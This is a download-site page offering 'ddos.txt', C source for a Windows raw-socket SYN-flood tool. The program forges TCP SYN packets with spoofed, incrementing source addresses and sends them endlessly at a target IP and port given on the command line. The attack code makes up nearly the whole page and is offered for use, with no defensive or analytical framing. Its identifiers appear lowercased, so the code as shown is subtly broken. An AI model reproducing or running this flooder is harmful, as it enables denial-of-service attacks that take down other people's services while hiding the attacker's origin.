⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddos.txt

📁 DDOS攻击的源吗码,内有详细的说明和使用
💻 TXT
字号:
#include <winsock2.h>
#include <ws2tcpip.h> 
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32")
#pragma comment(lib,"wsock32")
#define fake_ip "201.79.131.18" 
#define seq 0x28376839
#define right "===============coder paris-ye====================\n"
ushort checksum(ushort *buffer, int size);
int flood();

typedef struct tcphdr
{
	ushort th_sport;
	ushort th_dport;
	unsigned int th_seq;
	unsigned int th_ack;
	unsigned char th_lenres;
	unsigned char th_flag;
	ushort th_win;
	ushort th_sum;
	ushort th_urp;
}tcp_header; 

typedef struct iphdr
{
	unsigned char h_verlen;
	unsigned char tos;
	unsigned short total_len;
	unsigned short ident;
	unsigned short frag_and_flags;
	unsigned char  ttl;
	unsigned char proto;
	unsigned short checksum;
	unsigned int sourceip;
	unsigned int destip;
}ip_header;

struct
{
	unsigned long saddr;
	unsigned long daddr;
	char mbz;
	char ptcl;
	unsigned short tcpl;
}psd_header; 

wsadata wsadata;
socket  sockmain = (socket) null;
int errorcode=0,flag=true,timeout=2000,fakeipnet,fakeiphost,datasize=0,sendseq=0;
unsigned short activport=40000;
struct sockaddr_in sockaddr;
tcp_header  tcpheader;
ip_header   ipheader;
char        sendbuf[128];

ushort checksum(ushort *buffer, int size)
{
	unsigned long cksum=0;
	while(size >1) {
		cksum+=*buffer++;
		size-=sizeof(ushort);
	}
	if(size) cksum+=*(uchar*)buffer;
	cksum=(cksum >> 16)+(cksum&0xffff);
	cksum+=(cksum >>16);
	return (ushort)(~cksum); 
}


int main(int argc,char* argv[])
{
	int    portnum=0;
	dword  dw;
	handle hthread=null;
	char   putinfo;

	if(argc!=3)
	{
		printf("%s\n",right);
		printf("invalid command,pls use:\n%s  <ip> <port>\nexample:%s 192.168.100.244 80",argv[0],argv[0]);
		return 1;
	}
	if((errorcode=wsastartup(makeword(2,1),&wsadata))!=0){
	        printf("wsastartup failed: %d\n",errorcode); 
	        return 2;
	}
	sockmain=wsasocket(af_inet,sock_raw,ipproto_raw,null,0,wsa_flag_overlapped);
	if(sockmain==invalid_socket)
	{
		printf("socket failed: %d\n",wsagetlasterror());
	return 3;
	}
	errorcode=setsockopt(sockmain,ipproto_ip,ip_hdrincl,(char *)&flag,sizeof(int));
	if(errorcode==socket_error)
	{
	        printf("set sockopt failed: %d\n",wsagetlasterror());
		return 4;
	}
	errorcode=setsockopt(sockmain,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout));
	if(errorcode==socket_error)
	{
	        printf("set sockopt time out failed: %d\n",wsagetlasterror());
	return 5;
	}
	portnum=atoi(argv[2]);

	memset(&sockaddr,0,sizeof(sockaddr));
	sockaddr.sin_family=af_inet;
	sockaddr.sin_addr.s_addr =inet_addr(argv[1]);
	fakeipnet=inet_addr(fake_ip);
	fakeiphost=ntohl(fakeipnet);

	ipheader.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
	ipheader.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));
	ipheader.ident = 1;
	ipheader.frag_and_flags = 0;
	ipheader.ttl = 128;
	ipheader.proto = ipproto_tcp;
	ipheader.checksum =0;
	ipheader.sourceip = htonl(fakeiphost+sendseq);
	ipheader.destip = inet_addr(argv[1]);

	tcpheader.th_dport=htons(portnum);
	tcpheader.th_sport = htons(portnum);
	tcpheader.th_seq = htonl(seq+sendseq);
	tcpheader.th_ack = 0;
	tcpheader.th_lenres =(sizeof(tcp_header)/4<<4|0);
	tcpheader.th_flag = 2;
	tcpheader.th_win = htons(16384);
	tcpheader.th_urp = 0;
	tcpheader.th_sum = 0;

	psd_header.saddr=ipheader.sourceip;
	psd_header.daddr=ipheader.destip;
	psd_header.mbz=0; 
	psd_header.ptcl=ipproto_tcp;
	psd_header.tcpl=htons(sizeof(tcpheader));
	printf("%s\n",right);
	hthread=createthread(null,0,(lpthread_start_routine)flood,0,create_suspended,&dw);
	setthreadpriority(hthread,thread_priority_highest);
	resumethread(hthread);
	printf("warning[start]...........\npress any key to stop!\n");
	putinfo=getchar();
	terminatethread(hthread,0);
	wsacleanup();
	printf("\nstopd...........\n");

	return 0;
}

int flood()
{
	while(1)
	{
		if(sendseq++==65536) sendseq=1;
		if(activport++==40010) activport=1000;
		ipheader.checksum =0;
		ipheader.sourceip = htonl(fakeiphost+sendseq);
		tcpheader.th_seq = htonl(seq+sendseq);
		tcpheader.th_sport = htons(activport);
		tcpheader.th_sum = 0;
		psd_header.saddr=ipheader.sourceip;
		memcpy(sendbuf,&psd_header,sizeof(psd_header));
		memcpy(sendbuf+sizeof(psd_header),&tcpheader,sizeof(tcpheader));
		tcpheader.th_sum=checksum((ushort *)sendbuf,sizeof(psd_header)+sizeof(tcpheader));

		memcpy(sendbuf,&ipheader,sizeof(ipheader));
		memcpy(sendbuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
		memset(sendbuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
		datasize=sizeof(ipheader)+sizeof(tcpheader);
		ipheader.checksum=checksum((ushort *)sendbuf,datasize);
 memcpy(sendbuf,&ipheader,sizeof(ipheader)); errorcode=sendto(sockmain,sendbuf,datasize,0,(struct sockaddr*) &sockaddr,sizeof(sockaddr)); if(errorcode==socket_error) { printf("\ncan't connect this ip!pls check it.\n"); exitthread(1); } // sleep(1000); } return 0; } 


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -